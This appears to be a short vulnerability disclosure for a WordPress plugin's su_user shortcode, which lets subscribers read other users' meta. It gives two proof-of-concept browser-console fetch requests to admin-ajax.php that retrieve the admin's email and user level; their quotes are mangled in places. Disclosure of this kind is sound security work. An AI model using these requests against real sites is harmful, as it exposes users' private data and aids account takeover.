The plugin does not validate the user meta to be retrieved via the user shortcode, allowing any authenticated users such as subscriber to retrieve arbitrary user meta (except the user_pass), such as the user email and activation key by default.
Run one of the below commands in the developer console of the web browser while being on the blog as a subscriber fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[su_user field=‘user_email’ user_id=‘1’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data)); This will display the email of the admin fetch(“/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “method”: “POST”, “body”: “action=parse-media-shortcode&shortcode;=[su_user field=‘wp_user_level’ user_id=‘1’]”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));